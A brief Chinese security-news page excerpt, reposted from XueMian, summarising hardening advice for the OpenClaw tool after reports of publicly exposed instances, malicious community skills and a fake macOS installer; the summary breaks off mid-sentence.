本文转载自:雪面科技 XueMian XueMian《OpenClaw 火了,骇客也来蹭热度:伪装安装器偷光你的 macOS》

OpenClaw龙虾安全加固 网络安全文章

OpenClaw龙虾安全加固

文章总结: 本文针对OpenClaw工具存在的安全隐患提出加固建议。指出超十万个实例因默认配置暴露于公网,且部分社区技能被标记为恶意。核心建议包括修改绑定地址为
评论:0   参与:  0